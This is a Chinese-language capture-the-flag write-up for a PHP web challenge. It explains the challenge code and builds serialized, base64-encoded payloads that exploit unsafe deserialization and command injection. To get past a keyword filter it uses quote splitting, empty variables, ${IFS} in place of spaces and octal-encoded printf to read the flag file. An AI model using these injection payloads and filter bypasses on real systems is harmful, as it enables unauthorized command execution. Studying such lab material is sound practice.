感觉新手题里面最难的一题
----------------------------------------------------------------正文
原题:攻防世界
这个题涉及的只是挺多的,不过主要就是正则表达式,php的反序列化
下面是代码分析环节:
因为涉及了php的序列化和反序列化,所以我们应该先看最下面的部分:将用base64解码后的变量序列化后用POST传参。
然后是_consturuct函数,他是在函数调动前启用,为我们构造了$method和$args两个变量。
_dexstruct函数在变量摧毁的时使用,所以我们把他放在后面。
ping函数(姑且怎么说)规定了我们可以调用系统命令。
waf函数,过滤命令。在变量str中过滤掉\ & \/ cat flag tac php ls命令。
_wakeup函数,反序列化,将args的值作为变量k赋值给变量v
根据代码我们需要将它补完整,即添加一个序列化。
这串代码的意思为将ease实例化并赋值给变量a,变量a执行系统命令ls。并将a序列化然后赋值给b,输出b,并将b进行base64编码。
即
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l""s";}}
经过base64编码后
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==
因为ls会被过滤掉,在网上查了查发现三种方法能去点过滤:1空的环境变量 2单引号 3双引号
将变量b进行编码后的数字用POST方法传值给ctf后得到
成功看到有一个文件夹为flag_1s_here
我们再尝试用ls查看这个文件夹
因为空格也会被过滤,所以我们用${IFS}绕过。
O:4:" ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:32:"l${Z}s${IFS}f${Z}lag_1${Z}s_here";}}
编码后为
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319
输入后获得:
我们看到了一个带有flag的php文件,最后我们用cat抓取这个文件的源码不出意外即可获得旗子
但这里有一个特别的点,就是代码会过滤掉/,而上面的三种方法都不适用于/。所以我们需要寻找一种新的方法:$(printf "\154\163")=ls。
这是我在其他大佬那里找到的,虽然不太清楚是什么,但貌似154转化为8进制转化为10进制后正好对应ascii的l
同样163后正好对应s。所以我们可以将cat flag_1s_here/flag_831b69012c67b35f.php先进行ascii编码后在进行8进制转化。
得到:\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
所以最终的结果为$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
进行base64编码后为Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
用POST对ctf编码后得